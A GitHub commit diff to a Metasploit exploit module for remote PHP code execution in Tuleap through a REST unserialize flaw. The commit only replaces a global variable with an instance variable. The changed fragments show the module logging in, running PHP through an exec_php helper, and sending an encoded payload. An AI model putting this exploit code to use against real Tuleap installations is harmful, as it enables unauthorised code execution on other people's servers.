Skip to content

Commit 0e2a158

Browse files
committed
Fix global var $is_check (make ivar @is_check)
1 parent 0973bfb commit 0e2a158

File tree

1 file changed

+7
-7
lines changed

1 file changed

+7
-7
lines changed

modules/exploits/unix/webapp/tuleap_rest_unserialize_exec.rb

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,7 @@ def setup_popchain(random_param)
6060

6161
unless res && (res.code == 201 || res.code == 200) && res.body
6262
msg = "Login failed with #{user}:#{pass}"
63-
if $is_check then print_error(msg) end
63+
print_error(msg) if @is_check
6464
fail_with(Failure::NoAccess, msg)
6565
end
6666

@@ -94,7 +94,7 @@ def setup_popchain(random_param)
9494

9595
unless res && res.code == 200
9696
msg = "Something went wrong"
97-
if $is_check then print_error(msg) end
97+
print_error(msg) if @is_check
9898
fail_with(Failure::UnexpectedReply, msg)
9999
end
100100
end
@@ -116,7 +116,7 @@ def do_login
116116
end
117117
else
118118
msg = "Failed to retrieve the login page"
119-
if $is_check then print_error(msg) end
119+
print_error(msg) if @is_check
120120
fail_with(Failure::NoAccess, msg)
121121
end
122122

@@ -132,7 +132,7 @@ def do_login
132132

133133
unless res && res.code == 302
134134
msg = "Login failed with #{user}:#{pass}"
135-
if $is_check then print_error(msg) end
135+
print_error(msg) if @is_check
136136
fail_with(Failure::NoAccess, msg)
137137
end
138138

@@ -157,14 +157,14 @@ def exec_php(php_code)
157157

158158
if res && res.code == 200 && res.body =~ /Exiting with Error/
159159
msg = "No access to Artifact ID #{datastore['AID']}"
160-
$is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
160+
@is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
161161
end
162162

163163
res
164164
end
165165

166166
def check
167-
$is_check = true
167+
@is_check = true
168168
flag = rand_text_alpha(rand(10)+20)
169169
res = exec_php("print '#{flag}';")
170170

@@ -178,7 +178,7 @@ def check
178178
end
179179

180180
def exploit
181-
$is_check = false
181+
@is_check = false
182182
exec_php(payload.encoded)
183183
end
184184
end

0 commit comments

Comments
 (0)